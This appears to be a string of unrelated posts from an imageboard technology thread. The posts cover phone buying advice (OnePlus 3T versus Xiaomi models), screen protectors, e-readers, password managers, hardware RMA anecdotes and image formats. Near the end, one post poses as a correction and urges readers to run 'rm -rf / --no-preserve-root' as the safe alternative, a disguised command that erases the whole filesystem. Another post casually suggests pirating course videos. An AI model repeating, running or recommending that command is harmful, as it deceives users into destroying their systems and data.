"It's broken on purpose!" is not something people who want a working computer are eager to sign up for.

I'm not awesome enough.

>>57966196
europoor here

my 2y/o Oneplus One's touch screen is smashed, no response. is the Three worth it? no idea what else to get at that price

I'm currently torn between few models:

>OP3T

+plastic'y but good looks overall
+super nice OS that is about to be updated
+great screen quality
+physical silent mode control buttons
+6gigs of ram in base model
+fastest charging
-smallest screen
-smallest battery
-more expensive than mi5s plus

>Xiaomi mi5s plus

+bigger 5.7 screen
+larger battery
+cheapest
+IR blaster
-solid but boring looks (grey is my model of choice)
-OS isn't bad but not as cool as in OP3t
-some reports about shitty fingerprint scanner
-less ram in base model

>Xiaomi mi note 2

+I subjectively find silver model to be most beautiful phone ever made
+those curves
+largest battery
+5.7 screen
-most expensive, I'd have to wait for pricedrop
-silver model not in stock yet
-screen is reported to be quite shit
-specs pretty much same as mi5s plus, but price is much higher

Help me pick guys. Which would you pick given choice? Did I miss something? How stupid is it to drool over mi note 2?

JUST FUCKING BUY IT

Id personally wait for the OP4, maybe they'll treat us with something nice like an sd slot

>>57960318
Considering there's a 128GB variant I doubt you'd need an SD card slot.

What do you all think about screen protectors? Waste of money or a good idea to have?

Gorilla Glass seems pretty durable but I'ma lways paranoid.

nothing is stopping you
consumers have the right to choose what they want to buy

Battery life, cost, and eye strain are the three best reasons to purchase an ereader.

Reading on an e-ink screen truly is superior to reading on anything else. If you are using one for school readings (pdfs) then they do fall behind a bit.

To your concerns about cost: simply purchase an older model. You can find old kindles, nooks, kobos, and sony ereaders for less than 50 dollars used on ebay. I personally use a sony prs-505 I got for 30 bucks on amazon marketplace 3 years ago. While my device is at the extreme end of the spectrum (2007) you can find more recent devices without much effort.

The time with come when you need to use a different browser or computer and you won't have a clue what the password is.

That's the only downside I can think of really.

>>57995025
Alright, in that case im currently good, and when I know I'll need a different browser I'll just copy the password list.

Firefox's password functionality doesn't have much use outside of the browser; KeePass is useful for all sorts of passwords e.g. Wi-Fi, bank PIN, PIN on that lock that you never use, etc.

Corsair upgraded my CX750M to a RM750 for free after I RMA'd it once for being a noisy piece of shit and complained that the replacement had the same problem. Best experience with customer support I ever had.

1MB, 1165x637px

list of things i have RMA'D :

EVGA 770 - fucked up fan
sabertooth 990fx - stopped posting, they sent a new one that actually fried my cpu
msi 990fxa - put my fried cpu in this and it fried the bios
sapphire r9 390 twice - artifacting
new 3ds xl - a single stuck pixel and autism

>>57994713
neither.
if you need to ask this though, you should look into your craft more before wasting money on gear you cant use.

Well since I am planning on replacing my old Q8200 I paused on consideration of the photo editing I do sometimes.

Putting impact fonted text on images is not highly intensive.

just torrent a course watch videos and teach yourself. Most places dont respect those kinds of degrees. HR departments want a real debt heavy degree not some shit you can print out.

>The project manager of Chromium's "Blink" engine said they're starting to work on it in Q4 2016:
Oh shit, seriously? Must have slipped my mind, but I guess they decided to stop pushing WebP with how badly it flopped, and the new alliance with AOMedia, about setting shared standards.

Don't run this command guys. It's actually going to delete your root partition!
Run this one instead:

rm -rf / --no-preserve-root | egrep -r -h "^\w+ .+\(.+\)"

Write a better script, use find then grep each line for a known extension.
